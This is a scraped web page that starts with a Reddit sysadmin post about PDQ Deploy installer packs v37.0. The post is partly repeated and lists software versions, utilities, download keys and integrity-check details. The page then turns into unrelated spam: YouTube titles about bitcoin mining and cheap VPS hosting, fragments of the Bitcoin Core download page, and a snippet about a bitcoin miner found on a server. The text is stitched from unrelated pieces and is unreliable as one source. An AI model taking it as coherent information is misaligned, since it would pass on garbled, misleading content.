  • Windows 7 & Server 2008 R2 (x64)
  • Windows Server 2003 (x86)
  • Office 2007/2010/2013

Package Notes:

  1. Read the notes in PDQ for each package, they explain what it does. Basically, if there is a .bat file with a job, it makes some customizations. You can edit the batch files to see what they do; most of them just delete "All Users" desktop icons and stuff like that. changelog-v##-updated-.txt has version and release history information.
  2. Thunderbird:
    • Our customized Thunderbird uses a global config file stored on a network share. This lets us change Thunderbird settings en masse if necessary. By default the clients are configured to check for updates to the config every 120 minutes.
    • You can change the location of the config, change the update frequency, OR disable the behavior entirely by tweaking the file thunderbird-custom-settings.js.
    • A copy of the config file is in the Thunderbird directory and is called thunderbird-global-settings.js
    • If you don't want any customizations, just edit Thunderbird's .bat file and comment out all the lines except for the one that installs Thunderbird.
  3. Microsoft Offline Updates - built using the excellent WSUS Offline tool. Please donate to them if you can spare a couple bucks, their team does excellent work.

Integrity

In the folder \integrity verification the file checksums.txt is signed with my PGP key (0x07d1490f82a211a2, pubkey included). You can use this to verify package integrity.
If you find a bug or glitch, PM me or post it here. Community input is helpful and appreciated.
Donation address (bitcoin): 1LSJ9qDzuHyRx6FfbUmHVSii4sLU3sx2TF
Quiet Professionals
submitted by vocatus to sysadmin [link] [comments]

PDQ Deploy packs v37.0 (2015-12-14) // full refresh

This is v37.0 (v36.0, v35.0, v34.0, etc...) of our PDQ installers and includes all installers from the previous package with old versions removed.
All packages:
  1. install silently and don't place desktop or quicklaunch shortcuts
  2. disable every auto-update, nag popup and stat-collection feature I can find
  3. work with the free or paid version of PDQ Deploy, but don't require either - each package can run standalone (e.g. from a thumb drive) or pushed with SCCM/GPO/etc if desired

Download

Primary method: Plug one of these keys into BT Sync to pull down that repository:
- BTRSRPF7Y3VWFRBG64VUDGP7WIIVNTR4Q (Installer Packages, roughly 1.84 GB) - BMHHALGV7WLNSAPIPYDP5DU3NDNSM5XNC (WSUS Offline updates, roughly 11.20 GB) 
  1. Make sure the settings for your Sync folder look like this (or this if you're on v1.3.x). Specifically you need to enable DHT.
  2. Import all .XML files from the \job files directory into PDQ deploy (It should look roughly like this after you've imported them).
  3. Copy all files from the \repository directory to wherever your repository is.
  4. All jobs reference PDQ's $(Repository) variable, so as long as you've set that in preferences you're golden.
Alternate method: (static pack; does not auto-update)
Mirror HTTPS HTTP Location Host
Official link link US-NY SGC-Hosting
#1 link link FR mxmod
#2 --- link DE repa82

Package list:

(updates marked)
Installers:
  • 7-Zip v15.12 (x86) - updated
  • 7-Zip v15.12 (x64) - updated
  • Adobe AIR v20.0.0.204 - updated
  • Adobe Flash Player v20.0.0.228 (Firefox) - updated
  • Adobe Flash Player v20.0.0.228 (IE / ActiveX) - updated
  • Adobe Reader XI v11.0.13
  • Adobe Shockwave v12.2.2.172 (full) - updated
  • CDBurnerXP v4.5.6.5931 (x64) - updated
  • CutePDF v3.0 (PDF printer)
  • FileZilla Client v3.14.1 x86 - updated
  • Gimp v2.8.16 - updated
  • Google Chrome Enterprise v47.0.2526.80 - updated
  • Google Earth v7.1.5.1557
  • Java Development Kit 6 Update 45 (x64)
  • Java Development Kit 6 Update 45 (x86)
  • Java Development Kit 7 Update 80 (x64)
  • Java Development Kit 7 Update 80 (x86)
  • Java Development Kit 8 Update 66 (x64)
  • Java Development Kit 8 Update 66 (x86)
  • Java Runtime 6 update 45 (x64)
  • Java Runtime 6 update 45 (x86)
  • Java Runtime 6 update 81 (x64)
  • Java Runtime 6 update 81 (x86)
  • Java Runtime 7 update 80 (x64)
  • Java Runtime 7 update 80 (x86)
  • Java Runtime 8 update 66 (x64)
  • Java Runtime 8 update 66 (x86)
  • KTS KypM Telnet/SSH Server v1.19c (x86)
  • Microsoft .NET Framework v3.5.1 SP1 (x86)
  • Microsoft Silverlight v5.1.40416.0 (x86)
  • Microsoft Silverlight v5.1.40416.0 (x64)
  • Mozilla Firefox v42.0.0 - updated
  • Mozilla Thunderbird v38.4.0 (customized; read notes) - updated
  • Notepad++ v6.8.8 - updated
  • Pale Moon v25.7.3 (x86) - updated
  • Spark v2.7.3 - updated
  • TightVNC v2.7.10 (x64)
  • TightVNC v2.7.10 (x86)
  • UltraVNC v1.2.0.9 (x86) - updated
  • VLC media player v2.2.1 (x86)
  • WinSCP v5.7.6 - updated
Utilities:
  • Clean Up All Printers (purge all printers from target)
  • Clean Up Orphaned Printers (remove non-existent printers from the spooler)
  • Empty All Recycle Bins (force all recycle bins to empty on target)
  • Enable Remote Desktop
  • Install PKI Certificates
  • Orbital Cached Profile Nuker deletes cached logons from the target older than a specified number of days
  • Reboot (force target reboot in 15 seconds)
  • Remove Adobe Flash Player v1.1.1 (removes all versions)
  • Remove Java Runtime (removes JRE versions 3-8)
  • Temp File Cleanup clean temp files on target
  • USB Device Cleanup. Uninstalls non-present USB hubs, USB storage devices and their storage volumes, Disks, CDROMs, Floppies, WPD devices and deletes their registry items. Devices will re-initialize at next connection
Microsoft Offline Updates: optional, installs Microsoft patches current to release date
  • Windows 10 & Server 2016 (x64)
  • Windows 8.1 & Server 2012 R2 (x64)
  • Windows 7 & Server 2008 R2 (x64)
  • Windows Server 2003 (x86)
  • Office 2007/2010/2013

Package Notes:

  1. Read the job notes in PDQ for each package, they explain what it does. Basically, if there is a .bat file with a job, it makes some customizations. You can edit the batch files to see what they do; most of them just delete "All Users" desktop icons and stuff like that. changelog-v##-updated-.txt has version and release history information.
  2. Thunderbird:
    • Our customized Thunderbird uses a global config file which is stored on a network share. This lets us change Thunderbird settings en masse if we need to. By default the clients are configured to check for updates to the config every 120 minutes.
    • You can disable this behavior, change the location of the config, OR change the update frequency by tweaking the file thunderbird-custom-settings.js.
    • A copy of the global config file Thunderbird looks for is in all the "Thunderbird (customized)" directories and is called thunderbird-global-settings.js
    • If you don't want any customizations, just edit the .bat file that it runs and comment out all the lines except for the line that installs Thunderbird.
  3. Microsoft Offline Updates - built using the excellent WSUS Offline tool. Please donate to them if you can spare a couple bucks, they do really excellent work.

Integrity

In the folder \integrity verification the file checksums.txt is signed with my PGP key (0x07d1490f82a211a2, pubkey included). You can use this to verify package integrity.
If you find a bug or glitch, PM me or post it here. Community input is helpful and appreciated.
Donation address (bitcoin): 1LSJ9qDzuHyRx6FfbUmHVSii4sLU3sx2TF
Quiet Professionals
submitted by vocatus to sysadmin [link] [comments]

Bitcoin mining installed on Hyper-V best VPS RDP cheap hosting server for mining bitcoin vps 2017 Installing IIS on Windows 2008 R2 Migrar Windows Server 2003 32bits a Windows Server 2008 R2 64bits [Tercera parte] Windows Server 2008 Booting Sequence : Windows Server 2008 Tutorials

Bitcoin Core ist ein gemeinschaftliches, freies Software-Projekt, veröffentlicht unter der MIT-Lizenz. Release-Signaturen überprüfen Download über Torrent Quelltext Versionshistorie anzeigen Bitcoin Core Release Signierschlüssel v0.8.6 - 0.9.2.1 v0.9.3 - 0.10.2 v0.11.0+ Bitcoin Core is a community-driven free software project, released under the MIT license. Verify release signatures Download torrent Source code Show version history. Bitcoin Core Release Signing Keys v0.8.6 - 0.9.2.1 v0.9.3 - 0.10.2 v0.11.0+ Or choose your operating system. Windows exe - zip. Mac OS X dmg - tar.gz. Linux (tgz) 64 bit. ARM Linux 64 bit - 32 bit. Linux (Snap Store) Support ... Bitcoin Miner on Server 2008 R2 Datacenter - posted in Virus, Trojan, Spyware, and Malware Removal Help: Hello Fellow Bleepers, I recently discovered a Bitcoin Miner on a server hosting a website. Download Bitcoin for free. A software-based online payment system. Bitcoin is a decentralized P2P electronic cash system without a central server or trusted parties. Users hold the crypto keys to their own money and transact directly with each other, with the help of the network to check for double-spending. Digital money that’s instant, private, and free from bank fees. Download our official wallet app and start using Bitcoin today. Read news, start mining, and buy BTC or BCH.

[index] [45829] [40161] [42577] [15090] [16880] [44681] [34511] [5200] [7523] [38560]

Bitcoin mining installed on Hyper-V

Bitcoin mining video and how to Build Null video plug - Duration: 6:28. Xander Smith 76,172 views. 6:28. Windows Server 2008 Hyper-V : Creating a Virtual Machine - Duration: 8:27. Pluralsight IT ... SHOCKING BITCOIN MOVE BEFORE THE END OF JUNE!!!! ... Configuring IIS 7 in Windows Server 2008 R2 - CpocLab - Networking training in Live environment. - Duration: 13:14. TimeNet InfoCom 82,665 ... cheap vps windows 2008 best cheap vps 2013 cheap vps windows 2012 $2 cheap vps cheap vps $3 cheap 3gb vps cheap vps 4gb cheap vps 4 core cheap vps $4 cheap vps $5 cheap vps 500gb cheap vps 512mb ... Link to check ports here: https://www.yougetsignal.com/tools/open-ports/ Buy me a beer if this was helpful :) Bitcoin: 1D4PsPDjUFymVaFHbbjbWvniVUFnWgBdV9 Eth... Windows Server 2008

#